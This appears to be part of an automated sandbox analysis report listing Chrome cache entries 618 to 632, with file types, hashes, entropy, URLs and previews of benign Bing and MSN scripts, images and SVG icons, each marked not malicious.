Preview:	var RewardsHeaderSVG;(function(n){function w(){s()}function b(n,t){var i=sj_cook.get(h,l);t?n.indexOf(i)>-1?o():s():k()>0&&o()}function o(){g();sb_st(nt,u);sb_st(d,u)}function k(){var n=sj_cook.get(c,a);return parseInt(n)}function d(){sj_evt.fire(v)}function s(){sj_evt.fire(y)}function g(){var u=_ge(r),n;_ge(t)&&Lib.CssClass.add(_ge(t),"rd_hide");_ge(i)&&Lib.CssClass.add(_ge(i),"rd_hide");u&&(n=document.createElement("img"),n.setAttribute("id","coinFlipGif"),n.setAttribute("class","rhcoinflip"),n.setAttribute("src",p),u.appendChild(n),u.style.display="block")}function nt(){_ge(r).style.display="none";_ge(t)&&Lib.CssClass.remove(_ge(t),"rd_hide");_ge(i)&&Lib.CssClass.remove(_ge(i),"rd_hide")}var h="_RwBf",c="_SS",l="v",a="RP",r="coinFlipGifContainer",t="rewards_header_icon serp",i="rewards_header_icon hp",v="rewardsRedDot",y="redDotAnimation",u=1750,p="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/coin_flip_3d.gif",f=_d.querySelector(".rhlined.serp, .rhlined.hp"),e=_d.que

Chrome Cache Entry: 618

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1324
Entropy (8bit):	4.714932237744657
Encrypted:	false
SSDEEP:	12:6v/7eh6ay8x39/1Q0XqdG43VQrxjTqoqGCVgwAj6Wiej3oj2hAxWCm:w8xV1/9436rJYovj6Wie75
MD5:	C1768E09FA87175BA47DF74D4AB95DFC
SHA1:	22594C73A00055E9647C7AEA73DF0F19F7E7EA6F
SHA-256:	012E03AA3F1E22AB95AF3706261936E6A7981979FB5158D26A752340792034B3
SHA-512:	F0AB393342329D0FE85DDDB7D5BFB8EF282FEA4B106E4252149A237307262DBBF9D15714BA65AA35EC88C07FF638F7866218227A9681E9B8CA5F5BF2F5EE05C0
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA3lldo.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+.....XIDATx.uS=hSQ......?.....R."X3...N...E7.u.]..........".......@..U.J(..$..w...M..N.........G.O.x.......o...5 .C......(..... w.Y'G..&@I.....{......}x..dY...C.Tq....?mh\|.fz..T.......,.....Y..'.PA.c.s..4....I..O.....#.vA..h.....%t...o..#.m..B...3p..8...0..@.....#....3.%.4Y.(......3s..2m...b..[_.........8.:.+.{....}....7.=.......@..3...#G....j*...;..+.k..-(..4.)4.].[..5T`...s...;...&.S....L..,,}.......G..(.Sp...@.a.R.(.?.[]...S.}C.q..%?..,7R.A.Nu.... ............"7....[......\|Y......C.......L.o.AQ...&..../..pv.-..\|L..Ua..157.Fd....c..Kg;.#.%...P.W....Tq..4.s.^u^.._...j.......IEND.B`...................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 619

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	15304
Entropy (8bit):	7.9616942640776465
Encrypted:	false
SSDEEP:	384:eFn96/KruPDPwA0e0JotodfKPjAVxGvOXzVfW8VykVHGC05Sp9rTxh:eN96/1rPwwLtoNujAxA8p1Hp3JD
MD5:	93F9C1B34D75E005555B47E166C398FB
SHA1:	61F7A43AD6E90F0582C9C1C692F79EDC5B54B4B1
SHA-256:	7486DE6151B3D5CA59ABFB102CFA6B1401A96A86F0FE32D6277C6775F8FBE63D
SHA-512:	F54C70AB31301F159C0B9E1EA76C94FA1799FC6C8946476E667001B89AC75C27E4466A974D29F7B68B2B8EC702C58575E35B4635AED67A81789089DC940DE826
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...J..Nv.>..5..)dr.(..sQk.%.i..$.r.O........`B..@.r.I..l......=....j_j..?..>`9..P...`...K.H#.7...$....@pM2^..t[.OM.evi-$?6.Nz..K.i~$...".?vr.}..m\|I\|......b.M..3...;...g.U.M.(..y.^.^.^k...q..\..$.YFr+.<..Zx...i.4..2#........J......N:..+;.7ZYc.....x..x.;..xxZ...du\..r..6.....i[c..5.gv.>^...s..k5{..16....3>Gz.q.N.zm.B8<.Z.%..J...VM...;V......P..[(...P....e>^..,

Chrome Cache Entry: 620

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5983), with no line terminators
Category:	dropped
Size (bytes):	5983
Entropy (8bit):	5.2825366147372455
Encrypted:	false
SSDEEP:	96:kiz62PGRHEKnpA7Yc33HxTVwXKRsVNS6cvPOZWVjJnxdSwxxtR2EA8SOsDquOj:kie+GRHFnaLNjXOZWRYwxN2EANOsDqum
MD5:	785D3C1D93D18E5478F0C3FFCE35CD03
SHA1:	1F7533428AF383A196CC2319477B762F86500514
SHA-256:	B32B54F6D1BE64DF456502B677407D4CFA5F10E98CDE9350D9E63331FDBB7BFC
SHA-512:	F374DED54893E2CC95D2F8BAE4C7896F9CB4BC21E0C53B773D31F90E6D940C6ADB8552130D210D4BD43AB69EC25BCD64887660581DC5FC454C634C4E7B6037D7
Malicious:	false
Reputation:	unknown
Preview:	var Feedback;(function(n){var t;(function(t){function u(t,r,u,f,e,o){t=typeof t===i?!1:t;t&&scrollTo(0,0);u=typeof u===i?!0:u;n.PackageLoad.Load(r,u,f,e,o)}function o(n,t){for(var r=0,i=null;n&&n.getAttribute&&(!(t>=1)\|\|r<t);){if(i=n.getAttribute("data-fbhlsel"),i!=null)break;r++;n=n.parentNode}return i}function a(t,a,v,y,p,w,b,k,d){function ot(t){var r=null,i;return t&&(i=new c,n.fel("ajax.feedback.collectsettings","gsf",i),r=i.findSettings(t)),r}var it,tt,nt,et,rt,g,ut,ft;(sj_cook&&(tt=sj_cook.get("fdbk_acc","tabfocus"),tt&&(nt=_ge(tt),nt?(nt.focus(),sj_cook.clear("fdbk_acc","/")):(nt=document.querySelector('[id^="'+tt+'"]'),nt?(nt.focus(),sj_cook.clear("fdbk_acc","/")):(et=tt.indexOf("thumb_f")!=-1&&a.indexOf("thumb_f")!=-1\|\|tt.indexOf("thumb_t")!=-1&&a.indexOf("thumb_t")!=-1,et&&(nt=_ge(a),rt=(it=nt===null\|\|nt===void 0?void 0:nt.parentElement)===null\|\|it===void 0?void 0:it.parentElement,rt&&rt.classList.contains("l_ecrd_tud")&&(nt.focus(),sj_cook.clear("fdbk_acc","/"))))))),g=_ge(a

Chrome Cache Entry: 621

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (622), with no line terminators
Category:	downloaded
Size (bytes):	622
Entropy (8bit):	4.962887885281562
Encrypted:	false
SSDEEP:	12:Gjau1En2bn+eXmd6Vi52ZcsxjZmsT0IeOhSMpS2KXwGeDXAu4SnaPRnjhjS:sau1LnjIdcTt5wAoF2KXzeDQSspRS
MD5:	FD62D97C8EC70C71F5CAE4D04961FE86
SHA1:	37897326EB025EAF866C494CC7E425C089468F98
SHA-256:	D856A0FE58F01513B30B14C87DB060E961533E2A19018369C6C74AFEDC8AD2B5
SHA-512:	21CE4C24121AA9B8349E2F0C0FC89C8C174274C49E695C51515A3C783FAC2345F1D6D0713BEDA8508EFD7EA4908AC1B4510FD7E7C5D6FC97A2901024135138BB
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/N4lzJusCXq-GbElMx-QlwIlGj5g.js
Preview:	var PrefetchJsResource;(function(n){function t(n,t,r){i(n,t,r)}function i(n,t,i){typeof sb_st!="undefined"&&typeof sj_ce!="undefined"&&n&&sb_st(function(){var r,u=document.querySelector("head"),t,f;u&&typeof u.appendChild=="function"&&(t=sj_ce("link"),t)&&((t.setAttribute("rel","prefetch"),t.setAttribute("href",n),t.setAttribute("as","script"),t.setAttribute("type","text/javascript"),i&&t.setAttribute("id",i),f=(r=performance===null\|\|performance===void 0?void 0:performance.getEntriesByName(t.href))===null\|\|r===void 0?void 0:r.length,f>0)\|\|u.appendChild(t))},t)}n.init=t})(PrefetchJsResource\|\|(PrefetchJsResource={}))

Chrome Cache Entry: 622

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21914)
Category:	downloaded
Size (bytes):	333094
Entropy (8bit):	5.531682600483987
Encrypted:	false
SSDEEP:	6144:wvSLyC8/HRyAKlzUMW2V29Ze6GUz4FYg/xdOPOyR5l66u7c:aSLyHHoA+UMW2VgZe6Ve7c
MD5:	953AC271E5C4045748024EC4BD25EA4A
SHA1:	E4BA200F84257BD68DD926672C1C6E89F5498CE0
SHA-256:	F0B02102168ABB1BD5A486C58107F86BE47A70775ADC2E8CFAD2FD734D4861A9
SHA-512:	A39121C001037CBFC49A995E843150F5B060CB88583C3AB315D283931ADE335D8001A78318943B946B510CC0523FD2B2C6090CD9A07E9613C05AB05C64F59B63
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/experience.b67d868a3e7ad5bd4ffa.js
Preview:	!function(){"use strict";var t,e,i,o,a,n={96779:function(t,e,i){i.r(e),i.d(e,{MsnActionsMenu:function(){return I}});var o=i(33940),a=i(21772),n=i(63070),r=i(8522),s=i(37627),d=i(27535);var l=i(28904),c=i(99452),p=i(42590),h=i(94537),g=i(56692),u=i(44572),m=i(37802);class f extends l.H{constructor(){super(...arguments),this.useFastAnchoredRegion=!0,this.useDetailPageStyles=!1,this.fixedPosition=!1,this.defaultVerticalPosition="bottom",this.defaultHorizontalPosition="end",this.autoFocus=!0,this.zoomFactor=1,this.isUpdatingPosition=!1,this.isBingHp="bingHomepage"===g.jG.AppType,this.isViews="views"===g.jG.AppType,this.fixedParentSpace=!1,this.keyDownHandler=t=>(t.key===h.CX?(this.referrerButton&&this.referrerButton.focus(),this.$emit("dismiss-menu"),t.stopPropagation()):t.key===h.oM&&(this.customTabEventHandler?this.customTabEventHandler(this,t):this.tabEventHandler(t)),!0),this.updatePositionManually=()=>{this.updatePosition()},this.tabEventHandler=t=>{if(this.fluentMenu){const e=this.fl

Chrome Cache Entry: 623

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	4.570685030513587
Encrypted:	false
SSDEEP:	12:6v/7sT0dMReTZ6pZmV6g00D040sG3ob/ejsxk5GQ11kU7p:5z4gfHL3oz6siZx
MD5:	12E3C305A292E74BB220698E126A1DD6
SHA1:	0D3F2E599011CB135E841451551437CB33C63E55
SHA-256:	CF0E60E5646770279331ECE2D1195EED61F93EEF1F959B358629627DF9AA9403
SHA-512:	F059AD5393822BD21D13A43577127C6E0D08A3363DD28F14EC8EDB1BB804C9B1ACAC35F84977A50A1DB2799B50448D8A7D9DC968240AA5D2EAF6B44D397C0F87
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx.c...........3.>u..............A...?`1....&Cf.+..7...........1..).....D.!........g....a.u....3.C....8..q!~..`W..[.0\......F..K}.$...M "-...9.....J.................,..0u`ZEF.!7.....`.A.(..L...d..r...q.AAB.!...o............?.1..^.P....@.~^...E..V.f..'.2\|................@.Q\.l.............N.~....a..P......7...F...1.A1.d#.#"........p1.Lc........@...~.4...d.?.Tn......F1..H/.~.'eP..z......n..7...._.......y.../..N.......p.....L....],.....v.....0O8.7 ....I.......3......IEND.B`................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 624

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	4.714932237744657
Encrypted:	false
SSDEEP:	12:6v/7eh6ay8x39/1Q0XqdG43VQrxjTqoqGCVgwAj6Wiej3oj2hAxWCm:w8xV1/9436rJYovj6Wie75
MD5:	C1768E09FA87175BA47DF74D4AB95DFC
SHA1:	22594C73A00055E9647C7AEA73DF0F19F7E7EA6F
SHA-256:	012E03AA3F1E22AB95AF3706261936E6A7981979FB5158D26A752340792034B3
SHA-512:	F0AB393342329D0FE85DDDB7D5BFB8EF282FEA4B106E4252149A237307262DBBF9D15714BA65AA35EC88C07FF638F7866218227A9681E9B8CA5F5BF2F5EE05C0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+.....XIDATx.uS=hSQ......?.....R."X3...N...E7.u.]..........".......@..U.J(..$..w...M..N.........G.O.x.......o...5 .C......(..... w.Y'G..&@I.....{......}x..dY...C.Tq....?mh\|.fz..T.......,.....Y..'.PA.c.s..4....I..O.....#.vA..h.....%t...o..#.m..B...3p..8...0..@.....#....3.%.4Y.(......3s..2m...b..[_.........8.:.+.{....}....7.=.......@..3...#G....j*...;..+.k..-(..4.)4.].[..5T`...s...;...&.S....L..,,}.......G..(.Sp...@.a.R.(.?.[]...S.}C.q..%?..,7R.A.Nu.... ............"7....[......\|Y......C.......L.o.AQ...&..../..pv.-..\|L..Ua..157.Fd....c..Kg;.#.%...P.W....Tq..4.s.^u^.._...j.......IEND.B`...................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 625

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1477
Entropy (8bit):	5.147477666443474
Encrypted:	false
SSDEEP:	24:t4I6nxZuFcLwLsLjpaABLNRERBLLR5RBLoRFkERBLh4HxpGydGPS5HxpGESGMcRD:knpLwLsLj3LN2TLLHTLoUETLuHaDPGHd
MD5:	411B26A34D3C7CAB1793600C7461D628
SHA1:	5F4D10834676335CB8FECBF4A6405BDFDB02B2B7
SHA-256:	EAB006435A852C9CBD409B53D14980A92DD072DCCC22316FC562528EB0C54000
SHA-512:	C1F73327871B9B80008D1E57291E1DD2B09068CB0564C597183DFD1EE58E7C2FF131DC3F9EA71A411A87142C1AB038B354C430137AAA90BF0D95A684C083BB41
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/traffic/TrafficTitle.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 16 16" width="14" height="16">..<path fill="#737A80" d="M1 1h14a4 4 0 01-4 4H5a4 4 0 01-4-4zM1 6h14a4 4 0 01-4 4H5a4 4 0 01-4-4zM1 11h14a4 4 0 01-4 4H5a4 4 0 01-4-4z"/>..<rect width="8" height="16" x="4" fill="url(#paint0_linear)" rx="1"/>..<circle cx="8" cy="3" r="2" fill="#FF4C00"/>..<circle cx="8" cy="3" r="2" fill="url(#paint1_linear)"/>..<circle cx="8" cy="8" r="2" fill="#FFB900"/>..<circle cx="8" cy="8" r="2" fill="url(#paint2_linear)"/>..<g>.. <circle cx="8" cy="13" r="2" fill="#78D30C"/>.. <circle cx="8" cy="13" r="2" fill="url(#paint3_linear)"/>..</g>..<defs>.. <linearGradient id="paint0_linear" x1="8" x2="8" y1="0" y2="16" gradientUnits="userSpaceOnUse">.. <stop stop-color="#5C6166"/>.. <stop offset="1" stop-color="#45494D"/>.. </linearGradient>.. <linearGradient id="paint1_linear" x1="9" x2="7" y1="4.732" y2="1.268" gradientUnits="userSpaceOnUse">.. <stop stop-color="#D83B01"/>.. <stop offset="

Chrome Cache Entry: 626

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:53:43], progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	4934
Entropy (8bit):	7.782095567670307
Encrypted:	false
SSDEEP:	96:sHbZoNWsmjRgjXFQvdXNkuz4nicDWk+4Nf6Q2mKwADHfXC7OWn:sFmmjGjWddkuz4nicyktAtmtAbuLn
MD5:	FDA2CEAE0679611937E6E71F701A36AB
SHA1:	75B98D4B8E7142F0F57620296354F61C4C6F3A8F
SHA-256:	B818C1E9B0B46CCCDC158ACA581C3C5F4A9BD3DDA380DA03AF52F43F14F5651E
SHA-512:	904100EBE310AFDF86C2E4C9CBDDC118178D41B45D076BB6077DB8F3BCED8B3CEDF545CE079E39B6F8034C2247FD4C824C0522B6221E3CDC02423AF8EEB9F8A3
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/dbmNS45xQvD1diApY1T2HExvOo8.jpg
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:53:43....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......................................................................................._..Z/9.....AhY...T0!Eu,..dk.....y. .LP.B..V..m@@f....<uf.......h...)8.2j..U...<.n....4.B.-....W..^.J..o.{.....z.....".s.,.S...;...^f<.O8,>u.s...n.)....\o..6.{.=#:(.F.;..;1].V.........U5.1..W..g7\|r5..==...Hy..h....@...KV.{.l.9.........F.S....N{9.Y..(C.f..u\..&OX..-..N..w\..(.:.1..:ldGW.q.!...mo...e.=........a2..:hkA.....Z.:r}.....Z[...../\...-..A.#..E-K.5..k........]....yQhiAF........cy.[...C..qg.j.Y..Q3.Uh(..X.>kjs..5.....=.M.J.m.Q...FE.m=s..>.WSv..J..42+....V..[....n,.h..5...\.I]...%T.0k.=...h..5.td....].@.\..^.r....d.f..[....k....0E.U..H.....G...]]Z.M.Y..-..I....%.......................

Chrome Cache Entry: 627

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 50x68, components 3
Category:	downloaded
Size (bytes):	1167
Entropy (8bit):	7.430573815901941
Encrypted:	false
SSDEEP:	24:pXSy4T0vlW1/SM/sR4l6Q5BTZDinI6t4TFnnlZ+UsUoQ:pXz4UUv/jrTZGnTCnlZ+UsTQ
MD5:	52CB8A2AF0EBB07A1E4F5E8B18B4CB0F
SHA1:	6243DB112494D77D177BB57879A2497DB39274B6
SHA-256:	B3A9C48A6BA1578E67D21343EB0B76FFB48F631642C8EF6810CFDB0578C6A40A
SHA-512:	218F007A854F1127C2646F4BA9121F66F427067BF635356E25572BFD42A5A458CAEC9814F7BAD1D89FCEB4FCC43F4DFBEE55A6055DAE529D5521F3BAAAE1E5C4
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=OPHS.NSFqGIgWZwz0DA474C474&o=5&pid=21.1&w=50
Preview:	......JFIF.............C.......................................%..%....)).%756.2>-)0.;!....C...........,...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,......D.2..".......................................2........................!...1AQaq.."..#..2BRTr............................... ......................!A..."1.............?...V).XgH..s..Y....@Lx.....,....=.19F.wN.0W\|.y.V...-...8..I.......9...b.q.}.N.MwYDl..q..c.;/....V...{f.&'..K.......)@<.^..@....H..$.x...s.v.e.U......~...H.R..\\.....a.v?.n7.].]_....Ml..]..z...F.+I.2.R...j...<6.A......k%i.Qc2...r.......W.....b....)J...>...;.w.....].{......Z..%.Yhz...nm...Mr....-..E..&. ....Y[..I2P3o......6..c..:........]F..s+.s...xE....fa.1B..,.4..N.....M.Z\...oa..3..bH.<.W8.(...@.].^.'.......[J..O\|s!"....JW...8F...:..Wa."..ZW..........#....5n8.Q..e..]K}....#....'S.jD.....n..&..T.'..O.[/..&.... Y>Wl.."...1..ss....SUEB..`..........4...X..g\Y....W#l.v.......7...H,.M2.....'ZU...U\|..f....>..t....~_..3M.$.D..h3..

Chrome Cache Entry: 628

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	225826
Entropy (8bit):	7.997591578026521
Encrypted:	true
SSDEEP:	6144:p7TNznG8JwsweeGhLh+tGvnsi74hkdqySyWhRo+F:p7ThG8+teeGhKUv74HyS5mQ
MD5:	66CA49C5E9F38102BE83941EDBBE3FF0
SHA1:	08E06EBEFE20B22D1764A2275CD9AAE78F65A062
SHA-256:	A90FEC7BF86C6274F7C1A3CE196F5E444958A6021FDDFB5A3D9AFE9A14DA7BF9
SHA-512:	71A417D326F4853F105BB69F95703C9CFB4196637861394E76E9653B290D6CD2969F13AE8A344464B32362BFF309625596A315EA112F74308245A93423C4EBBE
Malicious:	false
Reputation:	unknown
Preview:	RIFF.r..WEBPVP8X.... ......7..ICCPH......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1........

Chrome Cache Entry: 629

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1314
Entropy (8bit):	4.746509615275893
Encrypted:	false
SSDEEP:	12:6v/7ebZ1ha11BylhnUmnNHI6Y9wx4i42zErQfmmG/vPWAqnfgVCSqET+MFJ3JpGZ:/bZUXUhnUWIqQ2zq5+ffgV5+SQQ4L
MD5:	8E4D1F1D14DDFD621A93B9862751A477
SHA1:	BE928B991747AF2A7D67487E4210D9021998629F
SHA-256:	7D6311AD31430B58FF6C218E5D2840976A093D0523458B6D8B265F2ECAB1BE3D
SHA-512:	BBA01A4BCA879A3F42774F85D9525FE25C22AA4D505DBD9BD31D9F5CFDACAA87FFFD880F7E80AB638FA5D8AEDBB67104E25E552266F7FBB00CBF26A6DB770E94
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AACl6Lf.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+.....SIDATx....KTQ.....3.......c.. J...Z.B.M;W.n...@h.. .)[H.B...+?.l.a...........Z....s......8F....o.....+...me....\|.,.c.?/..=3..}(_..vo.........j<..F`M`......m.....8...."..:...uCj.jc.t...a.l.........N.`w.. E.I.J.v..W".4zi.==....jiA.e0.....U]U..d...N...j.a.V.3?..a....7q..hy..Y"7t...^.p......wc.w.1..r.z......~%.m...............l."{..s.Kf./.4..TK'.$..`.e1n..{..h;.S.....1.jn.[O..'P:+.....J........@."......\.{.F.v..IHqc..P.../.1.B...!..E....`..$..}'..Xm...Vy.1V."z.@c^I....%........?.D.G.T..5.n.,.cri.#......5.jB.a...,.:...x.-.`..0N..bq...U....(.qs...+;.o.e.YP........y.{.....IEND.B`........................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 630

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (938), with no line terminators
Category:	dropped
Size (bytes):	938
Entropy (8bit):	5.18200878052665
Encrypted:	false
SSDEEP:	24:GFUFqJYYmaLOTCE20aOtZP9F3a6MakIzHF+lvyUJ9sq5aOB:BWOWEZP9U6MUEvyUJ9s6
MD5:	DBF771B1F0B05393D18BC55FD6DD94A7
SHA1:	BC4FD6C9EFB2E87D2D30F19DD78C9188B6D76B2D
SHA-256:	F2C5677D58718AE60F7F4E98351643AFEB8AD7FDFE4B2B6AF0B7B63108CB7071
SHA-512:	50B113243923EC8E4432288AE4FDE5B2FD0339C0EE785D33543E2C502F366E33BA99B0B1C0893E78CA23B820B71A9E3E4CBA31F5D865C43A989E3262D869ADCE
Malicious:	false
Reputation:	unknown
Preview:	var ShareDialog;(function(n){function i(){t("bootstrap",arguments)}function r(){t("show",arguments)}function u(){t("showError",arguments)}function t(n,t){for(var r=["shdlgapi",n],i=0;i<t.length;i++)r.push(t[i]);sj_evt.fire.apply(null,r)}n.bootstrap=i;n.show=r;n.showError=u})(ShareDialog\|\|(ShareDialog={})),function(n){function i(){t==0&&u()}function r(){sj_evt.unbind("shdlgapi",i)}function u(){t=1;var n=ShareDialogConfig.shareDialogUrl+"&IG="+_G.IG;n=e(n,["uncrunched","testhooks"]);sj_ajax(n,{callback:function(n,i){n?(t=2,i.appendTo(_d.body),r(),f()):t=3},timeout:0})}function f(){var n="rms";_w[n]&_w[n].start()}function e(n,t){var i,r,u;for(r in t)u=new RegExp("[?&]".concat(t[r],"=[^?&#]*"),"i"),(i=location.href.match(u))&&i[0]&&(n+="&"+i[0].substring(1));return n}function o(){n.inited=0}function s(){n.inited\|\|(n.inited=1,sj_evt.bind("shdlgapi",i,!0),sj_evt.bind("ajax.unload",o,!1))}var t=0;s()}(ShareDialog\|\|(ShareDialog={}))

Chrome Cache Entry: 631

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	4211
Entropy (8bit):	7.907425987544508
Encrypted:	false
SSDEEP:	96:8zgESFlH188JOjVAO9Dvq92BNYwXIunUkLcyvDa8:ygplHi8EjV79Dvq92BNBLcg+8
MD5:	563DEA993771299E9BEC2842924396D4
SHA1:	5FD054AC90E5D2675C0C9343C9F6CBFBD710A0D9
SHA-256:	529FCD5E6737E54DDAF3046B685AFC409B477356900E98197ECFE0DE06FCEAD3
SHA-512:	71B9E026E6DA3E40F51ACAF8849B02C6CCE3EA5961EB3566B279C99F824A30D542E9A978C00D475278BC83928E2A81F767A4AB35B5010942CCBBE5F5A6BDC78B
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..].6....Pn]..a.N.......Q..?.T..1...o^A...M.(e%.~... .....f<.....v/...9..A..B9FUG.u.~.0Iy..G......`......t5W......=..M7"F..;U....).....7...DQm..."..;.-.&...O.t....`aG......V..d.~..\|..6...?.oN.r.2.I\.........m..Cy....A.....k..&.$....t..1?"u].'/.....]..n..^yJ..\6...y=..j.P..H.k......~........U.G...~...6.M...YcO0..3...z.hmWK..u;0..~...:....K....TLc{...A.+6;

Chrome Cache Entry: 632

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1111
Entropy (8bit):	4.1426352870909255
Encrypted:	false
SSDEEP:	24:tDbU/vj3Dx8DDolDLN9wBWUyDa8uz5fCMe4I/76GVf8wz1vVsG4Iu5Tz1mH38zRO:y/b9EolDLf6WUmUzhvr+76GLz16Jk8tO
MD5:	5E834A775C3B3F93F83F7C48E5286257
SHA1:	7F6D63952326103378DCE69ABDC75A07EECF86AD
SHA-256:	006563DB23523A6369D81FCFA6F3515F0317CF651D74024635D2BFBE694779B8
SHA-512:	D575CF4076626957D2AF68EF808930910969244E989CDB770CE303900471A52ACCC36F52D1C0B1E7605AA4A5DD92ED1DC0540605CAC60C7317E27B7BD2C0EBEE
Malicious:	false
Reputation:	unknown
Preview:	<svg fill="none" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path d="m19.6667 0c2.3932 0 4.3333 1.94011 4.3333 4.33333v4c0 .55228-.4477 1-1 1s-1-.44772-1-1v-4c0-1.28866-1.0447-2.33333-2.3333-2.33333h-4c-.5523 0-1-.44772-1-1s.4477-1 1-1zm-15.33337 0c-2.39324 0-4.33333 1.94009-4.33333 4.33333v4c0 .55228.44772 1 1 1s1-.44772 1-1v-4c0-1.28866 1.04467-2.33333 2.33333-2.33333h4c.55228 0 1-.44772 1-1s-.44772-1-1-1zm15.33337 24c2.3932 0 4.3333-1.9401 4.3333-4.3333v-4c0-.5523-.4477-1-1-1s-1 .4477-1 1v4c0 1.2886-1.0447 2.3333-2.3333 2.3333h-4c-.5523 0-1 .4477-1 1s.4477 1 1 1zm-19.6667-4.3333c0 2.3932 1.94009 4.3333 4.33333 4.3333h4c.55228 0 1-.4477 1-1s-.44772-1-1-1h-4c-1.28866 0-2.33333-1.0447-2.33333-2.3333v-4c0-.5523-.44772-1-1-1s-1 .4477-1 1zm12-3.6667c2.2092 0 4-1.7908 4-4s-1.7908-4-4-4-4 1.7908-4 4 1.7908 4 4 4zm0-2c-1.1045 0-2-.8955-2-2s.8955-2 2-2 2 .8955 2 2-.8955 2-2 